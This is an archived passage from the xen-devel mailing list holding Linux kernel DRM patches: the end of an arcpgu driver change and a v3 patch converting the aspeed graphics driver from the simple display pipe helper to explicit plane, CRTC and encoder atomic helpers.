@@ -285,6 +360,30 @@ static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
 	if (dma_set_mask_and_coherent(drm->dev, DMA_BIT_MASK(32)))
 		return -ENODEV;
 
+	plane = &arcpgu->plane;
+	ret = drm_universal_plane_init(drm, plane, 0,
+				       &arcpgu_plane_funcs,
+				       arc_pgu_supported_formats,
+				       ARRAY_SIZE(arc_pgu_supported_formats),
+				       NULL,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+	drm_plane_helper_add(plane, &arcpgu_plane_helper_funcs);
+
+	crtc = &arcpgu->crtc;
+	ret = drm_crtc_init_with_planes(drm, crtc, plane, NULL,
+					&arcpgu_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+	drm_crtc_helper_add(crtc, &arcpgu_crtc_helper_funcs);
+
+	encoder = &arcpgu->encoder;
+	ret = drm_encoder_init(drm, encoder, &arcpgu_encoder_funcs, DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+	encoder->possible_crtcs = drm_crtc_mask(crtc);
+
 	/*
 	 * There is only one output port inside each device. It is linked with
 	 * encoder endpoint.
@@ -293,29 +392,26 @@ static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
 	if (endpoint_node) {
 		encoder_node = of_graph_get_remote_port_parent(endpoint_node);
 		of_node_put(endpoint_node);
-	} else {
-		connector = &arcpgu->sim_conn;
-		dev_info(drm->dev, "no encoder found. Assumed virtual LCD on simulation platform\n");
-		ret = arcpgu_drm_sim_init(drm, connector);
-		if (ret < 0)
-			return ret;
-	}
+		if (!encoder_node)
+			return -ENODEV;
 
-	ret = drm_simple_display_pipe_init(drm, &arcpgu->pipe, &arc_pgu_pipe_funcs,
-					   arc_pgu_supported_formats,
-					   ARRAY_SIZE(arc_pgu_supported_formats),
-					   NULL, connector);
-	if (ret)
-		return ret;
-
-	if (encoder_node) {
 		/* Locate drm bridge from the hdmi encoder DT node */
 		struct drm_bridge *bridge __free(drm_bridge_put) =
 			of_drm_find_and_get_bridge(encoder_node);
 		if (!bridge)
 			return -EPROBE_DEFER;
 
-		ret = drm_simple_display_pipe_attach_bridge(&arcpgu->pipe, bridge);
+		ret = drm_bridge_attach(encoder, bridge, NULL, 0);
+		if (ret)
+			return ret;
+	} else {
+		connector = &arcpgu->sim_conn;
+		dev_info(drm->dev, "no encoder found. Assumed virtual LCD on simulation platform\n");
+		ret = arcpgu_drm_sim_init(drm, connector);
+		if (ret < 0)
+			return ret;
+
+		ret = drm_connector_attach_encoder(connector, encoder);
 		if (ret)
 			return ret;
 	}
@@ -342,7 +438,14 @@ static int arcpgu_show_pxlclock(struct seq_file *m, void *arg)
 	struct drm_device *drm = node->minor->dev;
 	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(drm);
 	unsigned long clkrate = clk_get_rate(arcpgu->clk);
-	unsigned long mode_clock = arcpgu->pipe.crtc.mode.crtc_clock * 1000;
+	unsigned long mode_clock;
+	int ret;
+
+	ret = drm_modeset_lock_single_interruptible(&arcpgu->crtc.mutex);
+	if (ret)
+		return ret;
+	mode_clock = arcpgu->crtc.state->mode.crtc_clock * 1000;
+	drm_modeset_unlock(&arcpgu->crtc.mutex);
 
 	seq_printf(m, "hw  : %lu\n", clkrate);
 	seq_printf(m, "mode: %lu\n", mode_clock);

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 19:45:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 19:45:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371206.1618864 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4nO-0005Zp-Tv; Sun, 26 Jul 2026 19:45:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371206.1618864; Sun, 26 Jul 2026 19:45:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4nO-0005Zi-QM; Sun, 26 Jul 2026 19:45:58 +0000
Received: by outflank-mailman (input) for mailman id 1371206;
 Sun, 26 Jul 2026 19:45:58 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wo4nO-0005Xq-3t
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 19:45:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wo4nN-00BknP-BW
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 21:45:57 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a666320-2eae-0a2a0a5409dd-0a2a450cde20-40
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:45:57 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a6663f3-f479-0a2a450c0019-cddcb4836b62-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:45:57 +0200
Received: from pps.filterd (m0279871.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66QH7Bs51366114
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:45:55 GMT
Received: from mail-pj1-f69.google.com (mail-pj1-f69.google.com
 [209.85.216.69])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fmmqybn0s-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:45:55 +0000 (GMT)
Received: by mail-pj1-f69.google.com with SMTP id
 98e67ed59e1d1-38e667368f0so3318947a91.2
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 12:45:54 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 98e67ed59e1d1-38f03b0eaa8sm4105998a91.8.2026.07.26.12.45.45
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sun, 26 Jul 2026 12:45:52 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	mFB+5HFwxjcBF8nxAOBQAVq/5co4FpjrWYEcC8BPX/U=; b=RYq92HbspOx5vU17
	JetxowafCZlDu33IKFNBayiGfASH4BIJAd7ogNrCV48QtcRGjPMV6j7Z2Ck1l8em
	Hl2Kp6HG7maOo13EA/TcCaIaaBAIzaxUmbyyNehNlG8Qv7nruPAhoWqeH5KuyCWg
	8siiNh7/Oh4ax6PSKaDeB9Ggg2CgO5J2g3/yZWVgtEgvYKoAPjbCpHueMQ3eYacg
	G3CC9BgwRJQCu85Zzrvazf0v42Gr1CFogUir5XFlTYSrcrLesOjiAKoyWpMMfhtE
	Ibj+gzFzwqIBBzZQ2lVt18UZisWcVxOSHjOftvOvlxxN2ObJ1jtXqKbV6U7oSZ6H
	xKZ+FQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785095154; x=1785699954; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=mFB+5HFwxjcBF8nxAOBQAVq/5co4FpjrWYEcC8BPX/U=;
        b=ix1AWK4pADps6HH5Ea3wB3Jhkn9Dv8apla3v88SeaI1H74ZOSeZNZn9UrbbRRkmxoz
         M7sr17nQUiF6PqkjXoKaXz/FLdwcUXzWO3h4eiJrDkVJI8K03uwl20MYBolPZbJQzJk+
         ORYrU+xEnfXSCzB/eBdn1er8D39gk3GLwpfwzfNkVjKVctuq7AR8uEiPzGJBnz/5nADP
         DNdDQAy2OjKaMUYlBZMzC4yKZys2BJDwSrLpGGZv5F+ybqMNMLiehGelCprwE0yM2z2T
         MHHrjp1/A+O5eqjMvSrVApiYeiXEiHzRvarQ6bGhL8Drb/3J/v0gMwdoE0MEDMtn4X7c
         YuyA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785095154; x=1785699954;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=mFB+5HFwxjcBF8nxAOBQAVq/5co4FpjrWYEcC8BPX/U=;
        b=d49fxz1r2ydogQGwcJote3sB8nezEK/bDK2V6W5YKoU+tyQwsjNRcpGpqtZmW4KY4Z
         B+MW5Y1GSQi8hBOQsKLqZx+e5H361Sjt2scq3/lBiiUlLqqk1r4ShjntIVYk78CMoylQ
         09U/wupp7qJNIQCewLD8Uz88xb2TEOGYsoy49rRmcAfoJMHE24aU8SBui3GMH8fRmKNw
         3n455E2bQHoyrAMKPLs+m6MK3xW5H42kmexnBed/HXd+D8Tom5tw4spLQk54bUNvxEuF
         NFYSlkDRn5H2P4+1TwOGgUAiJO6cpZxXMf1gBGXfHMGeB80815V2l9P2hBDrrwAikmku
         s6UQ==
X-Forwarded-Encrypted: i=1; AHgh+RpflHKy+3aOdE0TbZsg4CYnmx8CWSSy2c83CIT6oYnAKjOQXBe5nKkE9yUXnKs0ryCPyo2g2Ld4SnU=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwlO9XbyxMcLFgL2T6gR5nkfHbb0PKcg02itVo7PtKkit/JBKIh
	1tgJOqbMthbpGmDY1pqmIWziv8RXBA8USUwMsJir0Iw/BpTxyRA/cvDxf34pC8nAq9KmRZ8OEuW
	DdkIOLMW2vjJNCf7nwkVGJeBftqvfLz3fGGVWHfr3QRP9vrc64qIZB7M210l3ys389DLjWA==
X-Gm-Gg: AR+sD10SQ9hDyUj0pPWpV+UZ0SV4QBsM08x9YYP7lTfGKaqLdNhxfm9HP2VlUTAbgBX
	gKy0Uwt7jpg7Uhvu2dkZeA+y5piZ9pwO++hC+xfmrrbQpVRiEbfS9uysrGdHcByZsaTmp1M46ob
	v+9OKlFeNmIoOqGevfNJaRXmMHlW4K+hrq8x5L7khTfCjLEVCr1dlCan7KK4vFW/vh62bGncvLR
	j2upXe0edkb6G4HAbpZKSiEB9mgKkgaXKL397UPi0k4xJhO+emauxyOHyIcBQ0DvsPs1emkRVYY
	jw5K2NSYz4YgzAi+VmuadnbrJxNfLlgwWEH1l5JFAws5SXMNuOMJgTjt9+jsA4eqewrFTMvx/bZ
	CxBmLWXDgKPEMo3Y3QwsZ
X-Received: by 2002:a17:90b:518b:b0:381:1fd3:e4ef with SMTP id 98e67ed59e1d1-38f2961f487mr6321261a91.25.1785095153685;
        Sun, 26 Jul 2026 12:45:53 -0700 (PDT)
X-Received: by 2002:a17:90b:518b:b0:381:1fd3:e4ef with SMTP id 98e67ed59e1d1-38f2961f487mr6321239a91.25.1785095153179;
        Sun, 26 Jul 2026 12:45:53 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Mon, 27 Jul 2026 03:45:15 +0800
Subject: [PATCH v3 2/8] drm/aspeed: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260727-drm-simple-kms-removal-v3-2-cd5dc89858c6@oss.qualcomm.com>
References: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
In-Reply-To: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1785095128; l=13020;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=mji0VO0E5cTKmqauubKhD1v5gmVwNBzHkgYjdhi1xOQ=;
 b=Pdz/RxBliFWW7g2zgcJFAc6JuqVRqfnPXUsLdCSgCusv8bQ4SI/Rs0Jh55oslFypTwzYKc3iq
 qZUWGagBjH2A+Ef54nOdUoqYdodVHwFQkoj/nA5EQoNcQtDkiGZzOpG
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8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RfX/HJOprUu9EEb
 +azIgSldQif8/ysd+DAvPeGCY2bdi60pn+vi75DSPQ7IGYJ7Q3hTx7ePZIv6CBIM33bc2HuBXD5
 XJYq2atYkORTyYx9kaxwm0xJKPR3od0=
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-26_05,2026-07-24_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501 lowpriorityscore=0 impostorscore=0 malwarescore=0
 clxscore=1015 phishscore=0 spamscore=0 suspectscore=0 adultscore=0
 bulkscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607260200
X-purgate-ID: tlsNG-d25034/1785095157-776D6A5B-E1A7D138/0/0
X-purgate-type: clean
X-purgate-size: 13022

Replace the simple display pipe with explicit plane, CRTC and encoder
objects.

Move callbacks to plane and CRTC helpers, and wire vblank handling
through drm_crtc_funcs. Move page-flip event handling from plane
atomic_update() to CRTC atomic_flush().

Use commit-local CRTC and plane state when programming mode and pixel
format in the CRTC enable path.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>

---
Changes in v3:
- Use commit-local CRTC and plane state in the CRTC enable path.
- Make the aspeed container helper static inline.
---
 drivers/gpu/drm/aspeed/aspeed_gfx.h      |  11 +-
 drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c | 203 ++++++++++++++++++++++---------
 drivers/gpu/drm/aspeed/aspeed_gfx_drv.c  |   3 +-
 3 files changed, 157 insertions(+), 60 deletions(-)

diff --git a/drivers/gpu/drm/aspeed/aspeed_gfx.h b/drivers/gpu/drm/aspeed/aspeed_gfx.h
index 4e6a442c3886..273528d30b4c 100644
--- a/drivers/gpu/drm/aspeed/aspeed_gfx.h
+++ b/drivers/gpu/drm/aspeed/aspeed_gfx.h
@@ -2,7 +2,6 @@
 /* Copyright 2018 IBM Corporation */
 
 #include <drm/drm_device.h>
-#include <drm/drm_simple_kms_helper.h>
 
 struct aspeed_gfx {
 	struct drm_device		drm;
@@ -17,10 +16,16 @@ struct aspeed_gfx {
 	u32				throd_val;
 	u32				scan_line_max;
 
-	struct drm_simple_display_pipe	pipe;
+	struct drm_plane		plane;
+	struct drm_crtc			crtc;
+	struct drm_encoder		encoder;
 	struct drm_connector		connector;
 };
-#define to_aspeed_gfx(x) container_of(x, struct aspeed_gfx, drm)
+
+static inline struct aspeed_gfx *to_aspeed_gfx(struct drm_device *drm)
+{
+	return container_of(drm, struct aspeed_gfx, drm);
+}
 
 int aspeed_gfx_create_pipe(struct drm_device *drm);
 int aspeed_gfx_create_output(struct drm_device *drm);
diff --git a/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c b/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c
index 7877a57b8e26..e8c9a6040d75 100644
--- a/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c
+++ b/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c
@@ -5,6 +5,8 @@
 #include <linux/reset.h>
 #include <linux/regmap.h>
 
+#include <drm/drm_atomic.h>
+#include <drm/drm_atomic_helper.h>
 #include <drm/drm_device.h>
 #include <drm/drm_fb_dma_helper.h>
 #include <drm/drm_fourcc.h>
@@ -12,22 +14,17 @@
 #include <drm/drm_gem_atomic_helper.h>
 #include <drm/drm_gem_dma_helper.h>
 #include <drm/drm_panel.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <drm/drm_vblank.h>
 
 #include "aspeed_gfx.h"
 
-static struct aspeed_gfx *
-drm_pipe_to_aspeed_gfx(struct drm_simple_display_pipe *pipe)
+static int aspeed_gfx_set_pixel_fmt(struct aspeed_gfx *priv,
+				    struct drm_plane_state *plane_state,
+				    u32 *bpp)
 {
-	return container_of(pipe, struct aspeed_gfx, pipe);
-}
-
-static int aspeed_gfx_set_pixel_fmt(struct aspeed_gfx *priv, u32 *bpp)
-{
-	struct drm_crtc *crtc = &priv->pipe.crtc;
+	struct drm_crtc *crtc = &priv->crtc;
 	struct drm_device *drm = crtc->dev;
-	const u32 format = crtc->primary->state->fb->format->format;
+	const u32 format = plane_state->fb->format->format;
 	u32 ctrl1;
 
 	ctrl1 = readl(priv->base + CRT_CTRL1);
@@ -77,13 +74,15 @@ static void aspeed_gfx_disable_controller(struct aspeed_gfx *priv)
 	regmap_update_bits(priv->scu, priv->dac_reg, BIT(16), 0);
 }
 
-static void aspeed_gfx_crtc_mode_set_nofb(struct aspeed_gfx *priv)
+static void aspeed_gfx_crtc_mode_set_nofb(struct aspeed_gfx *priv,
+					  struct drm_crtc_state *crtc_state,
+					  struct drm_plane_state *plane_state)
 {
-	struct drm_display_mode *m = &priv->pipe.crtc.state->adjusted_mode;
+	struct drm_display_mode *m = &crtc_state->adjusted_mode;
 	u32 ctrl1, d_offset, t_count, bpp;
 	int err;
 
-	err = aspeed_gfx_set_pixel_fmt(priv, &bpp);
+	err = aspeed_gfx_set_pixel_fmt(priv, plane_state, &bpp);
 	if (err)
 		return;
 
@@ -139,48 +138,35 @@ static void aspeed_gfx_crtc_mode_set_nofb(struct aspeed_gfx *priv)
 	writel(priv->throd_val, priv->base + CRT_THROD);
 }
 
-static void aspeed_gfx_pipe_enable(struct drm_simple_display_pipe *pipe,
-			      struct drm_crtc_state *crtc_state,
-			      struct drm_plane_state *plane_state)
+static void aspeed_gfx_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+						 struct drm_atomic_commit *commit)
 {
-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
+	struct aspeed_gfx *priv = to_aspeed_gfx(crtc->dev);
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, &priv->plane);
 
-	aspeed_gfx_crtc_mode_set_nofb(priv);
+	aspeed_gfx_crtc_mode_set_nofb(priv, crtc_state, plane_state);
 	aspeed_gfx_enable_controller(priv);
 	drm_crtc_vblank_on(crtc);
 }
 
-static void aspeed_gfx_pipe_disable(struct drm_simple_display_pipe *pipe)
+static void aspeed_gfx_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+						  struct drm_atomic_commit *commit)
 {
-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
+	struct aspeed_gfx *priv = to_aspeed_gfx(crtc->dev);
 
 	drm_crtc_vblank_off(crtc);
 	aspeed_gfx_disable_controller(priv);
 }
 
-static void aspeed_gfx_pipe_update(struct drm_simple_display_pipe *pipe,
-				   struct drm_plane_state *plane_state)
+static void aspeed_gfx_plane_helper_atomic_update(struct drm_plane *plane,
+						  struct drm_atomic_commit *commit)
 {
-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_framebuffer *fb = pipe->plane.state->fb;
-	struct drm_pending_vblank_event *event;
+	struct drm_plane_state *new_plane_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct aspeed_gfx *priv = to_aspeed_gfx(plane->dev);
+	struct drm_framebuffer *fb = new_plane_state->fb;
 	struct drm_gem_dma_object *gem;
 
-	spin_lock_irq(&crtc->dev->event_lock);
-	event = crtc->state->event;
-	if (event) {
-		crtc->state->event = NULL;
-
-		if (drm_crtc_vblank_get(crtc) == 0)
-			drm_crtc_arm_vblank_event(crtc, event);
-		else
-			drm_crtc_send_vblank_event(crtc, event);
-	}
-	spin_unlock_irq(&crtc->dev->event_lock);
-
 	if (!fb)
 		return;
 
@@ -190,9 +176,9 @@ static void aspeed_gfx_pipe_update(struct drm_simple_display_pipe *pipe,
 	writel(gem->dma_addr, priv->base + CRT_ADDR);
 }
 
-static int aspeed_gfx_enable_vblank(struct drm_simple_display_pipe *pipe)
+static int aspeed_gfx_crtc_enable_vblank(struct drm_crtc *crtc)
 {
-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
+	struct aspeed_gfx *priv = to_aspeed_gfx(crtc->dev);
 	u32 reg = readl(priv->base + CRT_CTRL1);
 
 	/* Clear pending VBLANK IRQ */
@@ -204,9 +190,9 @@ static int aspeed_gfx_enable_vblank(struct drm_simple_display_pipe *pipe)
 	return 0;
 }
 
-static void aspeed_gfx_disable_vblank(struct drm_simple_display_pipe *pipe)
+static void aspeed_gfx_crtc_disable_vblank(struct drm_crtc *crtc)
 {
-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
+	struct aspeed_gfx *priv = to_aspeed_gfx(crtc->dev);
 	u32 reg = readl(priv->base + CRT_CTRL1);
 
 	reg &= ~CRT_CTRL_VERTICAL_INTR_EN;
@@ -216,12 +202,93 @@ static void aspeed_gfx_disable_vblank(struct drm_simple_display_pipe *pipe)
 	writel(reg | CRT_CTRL_VERTICAL_INTR_STS, priv->base + CRT_CTRL1);
 }
 
-static const struct drm_simple_display_pipe_funcs aspeed_gfx_funcs = {
-	.enable		= aspeed_gfx_pipe_enable,
-	.disable	= aspeed_gfx_pipe_disable,
-	.update		= aspeed_gfx_pipe_update,
-	.enable_vblank	= aspeed_gfx_enable_vblank,
-	.disable_vblank	= aspeed_gfx_disable_vblank,
+static int aspeed_gfx_plane_helper_atomic_check(struct drm_plane *plane,
+						struct drm_atomic_commit *commit)
+{
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_crtc_state *crtc_state = NULL;
+
+	if (plane_state->crtc) {
+		crtc_state = drm_atomic_get_crtc_state(commit, plane_state->crtc);
+		if (IS_ERR(crtc_state))
+			return PTR_ERR(crtc_state);
+	}
+
+	return drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						   DRM_PLANE_NO_SCALING,
+						   DRM_PLANE_NO_SCALING,
+						   false, false);
+}
+
+static const struct drm_plane_helper_funcs aspeed_gfx_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= aspeed_gfx_plane_helper_atomic_check,
+	.atomic_update	= aspeed_gfx_plane_helper_atomic_update,
+};
+
+static const struct drm_plane_funcs aspeed_gfx_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.destroy		= drm_plane_cleanup,
+	.reset			= drm_atomic_helper_plane_reset,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static int aspeed_gfx_crtc_helper_atomic_check(struct drm_crtc *crtc,
+					       struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static void aspeed_gfx_crtc_helper_atomic_flush(struct drm_crtc *crtc,
+						struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *new_crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_pending_vblank_event *event = new_crtc_state->event;
+
+	if (!event)
+		return;
+
+	new_crtc_state->event = NULL;
+
+	spin_lock_irq(&crtc->dev->event_lock);
+	if (drm_crtc_vblank_get(crtc) == 0)
+		drm_crtc_arm_vblank_event(crtc, event);
+	else
+		drm_crtc_send_vblank_event(crtc, event);
+	spin_unlock_irq(&crtc->dev->event_lock);
+}
+
+static const struct drm_crtc_helper_funcs aspeed_gfx_crtc_helper_funcs = {
+	.atomic_check	= aspeed_gfx_crtc_helper_atomic_check,
+	.atomic_enable	= aspeed_gfx_crtc_helper_atomic_enable,
+	.atomic_disable	= aspeed_gfx_crtc_helper_atomic_disable,
+	.atomic_flush	= aspeed_gfx_crtc_helper_atomic_flush,
+};
+
+static const struct drm_crtc_funcs aspeed_gfx_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+	.enable_vblank		= aspeed_gfx_crtc_enable_vblank,
+	.disable_vblank		= aspeed_gfx_crtc_disable_vblank,
+};
+
+static const struct drm_encoder_funcs aspeed_gfx_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static const uint32_t aspeed_gfx_formats[] = {
@@ -232,10 +299,36 @@ static const uint32_t aspeed_gfx_formats[] = {
 int aspeed_gfx_create_pipe(struct drm_device *drm)
 {
 	struct aspeed_gfx *priv = to_aspeed_gfx(drm);
+	struct drm_plane *plane = &priv->plane;
+	struct drm_crtc *crtc = &priv->crtc;
+	struct drm_encoder *encoder = &priv->encoder;
+	int ret;
+
+	ret = drm_universal_plane_init(drm, plane, 0,
+				       &aspeed_gfx_plane_funcs,
+				       aspeed_gfx_formats,
+				       ARRAY_SIZE(aspeed_gfx_formats),
+				       NULL,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+	drm_plane_helper_add(plane, &aspeed_gfx_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(drm, crtc, plane, NULL,
+					&aspeed_gfx_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+	drm_crtc_helper_add(crtc, &aspeed_gfx_crtc_helper_funcs);
+
+	ret = drm_encoder_init(drm, encoder, &aspeed_gfx_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+	encoder->possible_crtcs = drm_crtc_mask(crtc);
+
+	ret = drm_connector_attach_encoder(&priv->connector, encoder);
+	if (ret)
+		return ret;
 
-	return drm_simple_display_pipe_init(drm, &priv->pipe, &aspeed_gfx_funcs,
-					    aspeed_gfx_formats,
-					    ARRAY_SIZE(aspeed_gfx_formats),
-					    NULL,
-					    &priv->connector);
+	return 0;
 }
diff --git a/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c b/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c
index 46094cca2974..b2d805f0c16d 100644
--- a/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c
+++ b/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c
@@ -21,7 +21,6 @@
 #include <drm/drm_gem_framebuffer_helper.h>
 #include <drm/drm_module.h>
